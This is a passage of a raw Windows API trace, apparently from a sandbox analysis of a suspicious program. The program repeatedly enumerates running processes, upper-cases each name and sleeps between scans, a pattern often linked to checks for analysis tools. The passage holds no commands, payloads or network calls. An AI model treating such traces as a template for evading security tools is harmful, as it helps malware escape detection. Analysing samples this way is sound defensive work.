hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0090.175] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0090.175] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0090.175] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0090.175] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0090.175] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0090.175] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0090.176] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0090.176] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0090.176] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0090.176] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0090.176] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0090.176] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0090.176] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0090.176] lstrlenW (lpString="actual.exe") returned 10 [0090.176] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0090.176] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0090.176] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0090.176] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0090.177] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0090.177] lstrlenW (lpString="potter larry.exe") returned 16 [0090.177] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0090.177] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0090.177] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0090.177] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0090.178] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0090.178] lstrlenW (lpString="contents what certificate.exe") returned 29 [0090.178] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0090.178] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0090.178] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0090.178] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0090.179] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0090.179] lstrlenW (lpString="cindy.exe") returned 9 [0090.179] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0090.179] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0090.179] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0090.179] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0090.179] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0090.179] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0090.179] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0090.179] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0090.179] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0090.179] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0090.180] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0090.180] lstrlenW (lpString="unusual.exe") returned 11 [0090.180] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0090.180] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0090.180] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0090.180] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0090.181] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0090.181] lstrlenW (lpString="pacific.exe") returned 11 [0090.181] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0090.181] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0090.181] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0090.181] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0090.181] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0090.182] lstrlenW (lpString="phantom.exe") returned 11 [0090.182] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0090.182] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0090.182] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0090.182] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0090.182] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="backgroundTaskHost.exe" | out: lpString1="backgroundTaskHost.exe") returned="backgroundTaskHost.exe" [0090.182] lstrlenW (lpString="backgroundTaskHost.exe") returned 22 [0090.182] CharUpperBuffW (in: lpsz="backgroundTaskHost.exe", cchLength=0x16 | out: lpsz="BACKGROUNDTASKHOST.EXE") returned 0x16 [0090.182] PathFindFileNameW (pszPath="BACKGROUNDTASKHOST.EXE") returned="BACKGROUNDTASKHOST.EXE" [0090.182] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BACKGROUNDTASKHOST.EXE" | out: lpString1="BACKGROUNDTASKHOST.EXE") returned="BACKGROUNDTASKHOST.EXE" [0090.182] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0090.183] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0090.183] lstrlenW (lpString="audiodg.exe") returned 11 [0090.183] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0090.183] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0090.183] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0090.183] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0090.184] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0090.184] lstrlenW (lpString="SCN0tification.exe") returned 18 [0090.184] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0090.184] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0090.184] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0090.184] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0090.185] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0090.185] lstrlenW (lpString="svchost.exe") returned 11 [0090.185] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0090.185] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.185] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0090.185] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0090.185] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0090.185] lstrlenW (lpString="sppsvc.exe") returned 10 [0090.185] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0090.185] PathFindFileNameW (pszPath="SPPSVC.EXE") returned="SPPSVC.EXE" [0090.185] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPPSVC.EXE" | out: lpString1="SPPSVC.EXE") returned="SPPSVC.EXE" [0090.186] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0090.186] CloseHandle (hObject=0x404) returned 1 [0090.186] Sleep (dwMilliseconds=0x1b7740) [0100.281] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5b8 [0100.283] Process32FirstW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0100.284] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0100.284] lstrlenW (lpString="[System Process]") returned 16 [0100.284] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0100.284] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0100.284] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0100.284] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x66, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0100.285] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0100.285] lstrlenW (lpString="System") returned 6 [0100.285] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0100.285] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0100.285] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0100.285] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0100.285] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0100.285] lstrlenW (lpString="smss.exe") returned 8 [0100.285] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0100.285] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0100.285] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0100.286] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.286] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0100.286] lstrlenW (lpString="csrss.exe") returned 9 [0100.286] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0100.286] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0100.286] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0100.286] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0100.287] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0100.287] lstrlenW (lpString="wininit.exe") returned 11 [0100.287] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0100.287] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0100.287] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0100.287] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0100.288] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0100.288] lstrlenW (lpString="csrss.exe") returned 9 [0100.288] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0100.288] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0100.288] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0100.288] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0100.289] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0100.289] lstrlenW (lpString="winlogon.exe") returned 12 [0100.289] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0100.289] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0100.289] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0100.289] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0100.289] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0100.289] lstrlenW (lpString="services.exe") returned 12 [0100.289] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0100.289] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0100.289] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0100.289] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0100.290] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0100.290] lstrlenW (lpString="lsass.exe") returned 9 [0100.290] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0100.290] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0100.290] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0100.290] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.291] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0100.291] lstrlenW (lpString="svchost.exe") returned 11 [0100.291] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0100.291] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.291] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.291] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.292] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0100.292] lstrlenW (lpString="svchost.exe") returned 11 [0100.292] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0100.292] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.292] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.292] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0100.292] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0100.293] lstrlenW (lpString="dwm.exe") returned 7 [0100.293] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0100.293] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0100.293] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0100.293] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.293] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0100.293] lstrlenW (lpString="svchost.exe") returned 11 [0100.293] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0100.293] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.293] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.293] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.294] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0100.294] lstrlenW (lpString="svchost.exe") returned 11 [0100.294] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0100.294] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.294] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.294] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.296] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0100.296] lstrlenW (lpString="svchost.exe") returned 11 [0100.296] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0100.296] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.296] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.296] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.296] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0100.296] lstrlenW (lpString="svchost.exe") returned 11 [0100.296] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0100.296] PathFindFileNameW 